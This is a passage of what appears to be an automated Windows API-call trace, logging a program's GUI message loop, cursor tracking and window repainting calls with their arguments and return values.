lpMsg=0x18ff1c) returned 1 [0269.506] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.506] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.506] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.506] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.506] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.506] WindowFromPoint (Point=0x2e7) returned 0x1034c [0269.506] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21702e7) returned 0x1 [0269.506] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.506] GetCurrentProcessId () returned 0x8d0 [0269.507] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.507] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.507] GetCapture () returned 0x0 [0269.507] WaitMessage () returned 1 [0269.568] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.568] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.568] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.568] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.569] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.569] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.569] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.569] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.569] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.569] GetCurrentProcessId () returned 0x8d0 [0269.569] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.569] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.569] GetCapture () returned 0x0 [0269.569] WaitMessage () returned 1 [0269.632] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.632] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.632] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.632] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.633] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.633] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.633] WindowFromPoint (Point=0x2e6) returned 0x1034c [0269.633] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21802e6) returned 0x1 [0269.633] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.633] GetCurrentProcessId () returned 0x8d0 [0269.633] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.633] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.633] GetCapture () returned 0x0 [0269.633] WaitMessage () returned 1 [0269.693] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.694] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.694] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.694] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.695] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.695] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.695] WindowFromPoint (Point=0x2e4) returned 0x20320 [0269.695] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x20902e4) returned 0x1 [0269.696] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.696] GetCurrentProcessId () returned 0x8d0 [0269.696] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0269.696] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.696] GetCapture () returned 0x0 [0269.696] WaitMessage () returned 1 [0269.755] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.755] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.755] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.755] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.756] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.756] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.756] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.756] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.756] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.756] GetCurrentProcessId () returned 0x8d0 [0269.756] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.756] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.756] GetCapture () returned 0x0 [0269.756] WaitMessage () returned 1 [0269.818] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.818] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.818] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.818] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.818] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.818] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.818] WindowFromPoint (Point=0x2e9) returned 0x1034c [0269.818] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21902e9) returned 0x1 [0269.819] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.819] GetCurrentProcessId () returned 0x8d0 [0269.819] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.819] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.819] GetCapture () returned 0x0 [0269.819] WaitMessage () returned 1 [0269.880] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.880] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.881] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.881] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.881] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.881] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.881] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.881] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.881] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.881] GetCurrentProcessId () returned 0x8d0 [0269.881] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.881] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.881] GetCapture () returned 0x0 [0269.881] WaitMessage () returned 1 [0269.943] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.943] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.943] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.943] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.943] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.943] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.943] WindowFromPoint (Point=0x2ea) returned 0x1034c [0269.943] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21902ea) returned 0x1 [0269.943] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.943] GetCurrentProcessId () returned 0x8d0 [0269.943] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.943] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.943] GetCapture () returned 0x0 [0269.943] WaitMessage () returned 1 [0269.960] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.960] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x22302f1) returned 0x1 [0269.960] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=753, y=547)) returned 1 [0269.961] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.961] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.961] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.961] GetCapture () returned 0x0 [0269.961] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0269.961] WindowFromPoint (Point=0x2f1) returned 0x20320 [0269.961] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x22302f1) returned 0x1 [0269.962] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0269.962] GetCurrentProcessId () returned 0x8d0 [0269.962] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0269.962] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0269.962] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x200, wParam=0x0, lParam=0xd600f2) returned 0x0 [0269.962] GetKeyState (nVirtKey=18) returned 1 [0269.962] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.962] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.962] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.962] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0269.962] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f980 | out: lpdwProcessId=0x18f980) returned 0x8cc [0269.962] GetCurrentProcessId () returned 0x8d0 [0269.962] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.962] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18fbd8) returned 0x0 [0269.962] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.962] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.962] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.963] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.963] GetClientRect (in: hWnd=0x1034c, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0269.963] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0269.964] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0269.964] FillRect (hDC=0x35010b67, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0269.964] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x35010b67, lParam=0x4) returned 0x0 [0269.964] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x35010b67, lParam=0x1034c) returned 0xe100186 [0269.964] GetSysColor (nIndex=8) returned 0x0 [0269.965] SetTextColor (hdc=0x35010b67, color=0x0) returned 0x0 [0269.965] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.965] SetBkColor (hdc=0x35010b67, color=0xf0f0f0) returned 0xffffff [0269.965] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.965] GetCurrentProcessId () returned 0x8d0 [0269.965] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.965] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0269.965] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.965] GetCurrentProcessId () returned 0x8d0 [0269.965] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.965] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0269.965] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0269.966] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0269.966] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0269.967] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0269.967] FillRect (hDC=0x210107ab, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0269.967] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x210107ab, lParam=0x4) returned 0x0 [0269.967] SendMessageA (hWnd=0x1034c, Msg=0xbd38, wParam=0x210107ab, lParam=0x1034c) returned 0xe100186 [0269.967] GetSysColor (nIndex=8) returned 0x0 [0269.967] SetTextColor (hdc=0x210107ab, color=0x0) returned 0x0 [0269.967] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.967] SetBkColor (hdc=0x210107ab, color=0xf0f0f0) returned 0xffffff [0269.967] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.967] GetCurrentProcessId () returned 0x8d0 [0269.967] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.967] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0269.968] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.968] GetCurrentProcessId () returned 0x8d0 [0269.968] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbc4e, wParam=0x1034c, lParam=0x18f924) returned 0x0 [0269.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0269.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x18, lParam=0x18e7f8) returned 0x17 [0269.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xd, wParam=0x30, lParam=0x18e7d0) returned 0x17 [0269.969] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.969] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=753, y=547)) returned 1 [0269.969] WindowFromPoint (Point=0x2f1) returned 0x20320 [0269.969] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x22302f1) returned 0x1 [0269.969] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.969] GetCurrentProcessId () returned 0x8d0 [0269.969] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0269.969] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.969] GetCapture () returned 0x0 [0269.969] WaitMessage () returned 1 [0269.970] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.970] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x22d02fb) returned 0x1 [0269.970] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=763, y=557)) returned 1 [0269.971] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0269.971] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1034a, lParam=0x2000001) returned 0x0 [0269.971] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.971] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.971] GetCapture () returned 0x0 [0269.971] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0269.971] WindowFromPoint (Point=0x2fb) returned 0x1034a [0269.971] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x22d02fb) returned 0x1 [0269.971] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0269.971] GetCurrentProcessId () returned 0x8d0 [0269.971] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.971] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0269.971] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x200, wParam=0x0, lParam=0x800fc) returned 0x0 [0269.972] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f970 | out: lpdwProcessId=0x18f970) returned 0x8cc [0269.972] GetCurrentProcessId () returned 0x8d0 [0269.972] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.972] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18fbc8) returned 0x0 [0269.972] GetKeyState (nVirtKey=18) returned 1 [0269.972] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.972] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.972] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.972] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.972] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0269.972] FillRect (hDC=0x2a010b57, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0269.973] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0269.973] FillRect (hDC=0x56010177, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0269.973] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x56010177, lParam=0x4) returned 0x0 [0269.973] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x56010177, lParam=0x1034a) returned 0xe100186 [0269.973] GetSysColor (nIndex=8) returned 0x0 [0269.973] SetTextColor (hdc=0x56010177, color=0x0) returned 0x0 [0269.973] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.973] SetBkColor (hdc=0x56010177, color=0xf0f0f0) returned 0xffffff [0269.973] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.973] GetCurrentProcessId () returned 0x8d0 [0269.973] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.973] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.974] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.974] GetCurrentProcessId () returned 0x8d0 [0269.974] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.974] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.974] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0269.974] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0269.974] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0269.974] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0269.974] FillRect (hDC=0x6010b6c, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0269.975] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x6010b6c, lParam=0x4) returned 0x0 [0269.975] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x6010b6c, lParam=0x1034a) returned 0xe100186 [0269.975] GetSysColor (nIndex=8) returned 0x0 [0269.975] SetTextColor (hdc=0x6010b6c, color=0x0) returned 0x0 [0269.975] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.975] SetBkColor (hdc=0x6010b6c, color=0xf0f0f0) returned 0xffffff [0269.975] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.975] GetCurrentProcessId () returned 0x8d0 [0269.975] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.975] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.975] GetCurrentProcessId () returned 0x8d0 [0269.975] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0269.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0269.975] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0269.976] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.976] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=763, y=557)) returned 1 [0269.976] 